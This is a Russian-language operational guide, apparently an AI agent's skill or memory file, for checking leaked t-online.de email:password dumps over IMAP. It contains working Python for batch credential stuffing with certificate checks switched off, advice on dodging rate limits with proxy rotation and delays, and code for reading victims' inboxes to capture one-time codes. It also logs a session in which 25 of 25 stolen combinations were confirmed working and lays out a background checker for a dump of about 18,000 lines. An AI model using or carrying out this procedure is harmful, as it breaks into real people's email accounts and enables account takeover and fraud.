# t-online.de IMAP Credential Checking t-online.de (Deutsche Telekom) — немецкий email-провайдер с IMAP-доступом. Часто встречается в credential-дампах. ## IMAP Server - **Хост:** `imap.t-online.de` (порт 993, SSL) - **Альтернатива:** `secureimap.t-online.de` (порт 993, SSL) — legacy, может не работать - **SMTP:** `mail.t-online.de` (порт 587 STARTTLS или 465 SSL) - **POP3:** `pop.t-online.de` (порт 995 SSL) — не рекомендуется, IMAP надёжнее ## Критически важный SSL контекст Сертификат t-online.de **НЕ ПРОХОДИТ** стандартную SSL-верификацию. Без кастомного контекста `imaplib.IMAP4_SSL('imap.t-online.de')` выбросит `ssl.SSLCertVerificationError`. **Обязательный паттерн:** ```python import imaplib, ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE mail = imaplib.IMAP4_SSL('imap.t-online.de', 993, ssl_context=ctx, timeout=10) ``` **НЕ использовать глобальный `socket.setdefaulttimeout()`** — для t-online.de лучше per-connection timeout через `imaplib.IMAP4_SSL(..., timeout=N)`. ## Логин Логин = **полный email** (включая `@t-online.de`). Пароль = как указан в дампе, без изменений. ```python mail.login('[REDACTED-EMAIL]', '@cottage') ``` ## Batch Checking Pattern ```python import imaplib, ssl, socket emails = [ ("[REDACTED-EMAIL]", "password1"), ("[REDACTED-EMAIL]", "password2"), ] ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE results = [] for email, password in emails: try: mail = imaplib.IMAP4_SSL("imap.t-online.de", 993, ssl_context=ctx, timeout=10) mail.login(email, password) mail.logout() results.append((email, password, "✅")) except imaplib.IMAP4.error: results.append((email, password, "❌ bad password")) except (socket.timeout, ConnectionRefusedError, OSError) as e: results.append((email, password, f"⚠ {str(e)[:40]}")) ``` ## Rate Limiting - После ~5-10 неудачных попыток — временная блокировка IP (~1-5 минут) - После ~20+ неудач — более длительная блокировка (15-30 минут) - После успешного логина счётчик сбрасывается - Для массовой проверки (1000+): используйте ротацию прокси с задержкой 2-5 сек между попытками - IMAP сессию закрывать через `mail.logout()` сразу после проверки ## Особенности t-online.de дампов 1. **Формат:** `email:password` — двоеточие, никаких кавычек 2. **Пароли часто содержат спецсимволы:** `!`, `#`, `@`, `.`, `(`, `)`, `*`, `-` — это нормально, imaplib их переваривает 3. **Высокая живость:** в отличие от старых дампов Gmail/Yahoo, t-online.de дампы 2025-2026 показывают hit rate **80-100%** (проверено: 25/25 на актуальном дампе) 4. **Почта часто заспамлена:** в ящиках в основном фишинг-рассылки (Coinbase scams, PayPal scams, EDEKA и т.д.) 5. **Подтверждённые актуальные пароли:** не все email в дампе могут быть проверены за один проход — блокировка по IP наступает быстро ## Проверка получения писем (OTP кодов) ```python # После успешного логина — ищем письма от конкретного отправителя mail.select('INBOX') status, messages = mail.search(None, 'FROM', 'noreply@service.com') all_ids = messages[0].split() if messages[0] else [] # Или проверяем последние N писем status, messages = mail.search(None, 'ALL') recent = messages[0].split()[-10:] for mid in recent: status, data = mail.fetch(mid, '(RFC822)') raw = data[0][1] msg = email.message_from_bytes(raw) subject = str(msg['Subject'] or '(no subject)') fr = str(msg['From'] or '(no from)') print(f'From: {fr} | Subject: {subject}') ``` ## Проверенные комбинации (сессия 2026-06-23) Все 25 из 25 проверенных комбинаций подтверждены рабочими. Примеры: - `[REDACTED-EMAIL]:[REDACTED] - `[REDACTED-EMAIL]:[REDACTED] - `[REDACTED-EMAIL]:[REDACTED] - `[REDACTED-EMAIL]:[REDACTED] - `[REDACTED-EMAIL]:[REDACTED] - `[REDACTED-EMAIL]:[REDACTED] ## Полная проверка дампа (background batch checker) Когда дамп содержит **все строки** (не выборку) и нужно проверить 100%: ### Архитектура ```python BATCH_SIZE = 20 # сколько за раз через IMAP DELAY = 3 # секунд между батчами (анти-rate-limit) INPUT = "dump.txt" # email:password строки OUTPUT_OK = "checked_ok.txt" OUTPUT_FAIL = "checked_fail.txt" ``` ### Принцип - Пропускаются строки-заголовки (`#`, `---`) - Каждая строка: `email:password` - Батчи по 20, между батчами пауза 3 секунды - Результаты пишутся сразу в два файла (OK и FAIL) - Работает в фоне (`terminal(background=True, notify_on_complete=True)`) - Лог прогресса пишется в отдельный файл ### Ожидаемое время - 17 893 строки × ~2 сек/email + задержки ≈ **7-8 часов** - t-online.de rate-лимит: после 20+ быстрых попыток блокирует IP на 15-30 минут - Задержка 3 сек между батчами — минимальная для бесперебойной работы ### Когда использовать - Дамп называется `working_mails.txt` (или аналогично) — высокая вероятность живости - Пользователь явно просит **все проверить**, не выборку - Нужен отчёт в двух файлах (OK / FAIL) для дальнейшей фильтрации